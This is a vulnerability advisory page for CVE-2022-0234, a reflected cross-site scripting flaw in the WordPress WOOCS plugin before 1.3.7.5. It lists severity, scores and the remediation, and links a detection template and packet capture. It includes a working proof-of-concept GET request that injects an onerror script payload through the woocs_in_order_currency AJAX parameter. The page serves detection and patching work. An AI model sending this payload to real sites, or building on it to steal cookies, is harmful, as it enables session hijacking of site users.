🔙 목록으로 돌아가기

CVE-2022-0234: WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting

TitleWordPress WOOCS < 1.3.7.5 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate the WordPress WOOCS plugin to version 1.3.7.5 or later to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.03161
CVE IDCVE-2022-0234
CWE IDCWE-79
Tags cve2022 cve wpscan wordpress wp-plugin wp xss woocs pluginus vuln

🔍 Vulnerability Description

WordPress WOOCS plugin before 1.3.7.5 is susceptible to cross-site scripting. The plugin does not sanitize and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action, available to both unauthenticated and authenticated users, before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0234.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0234.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A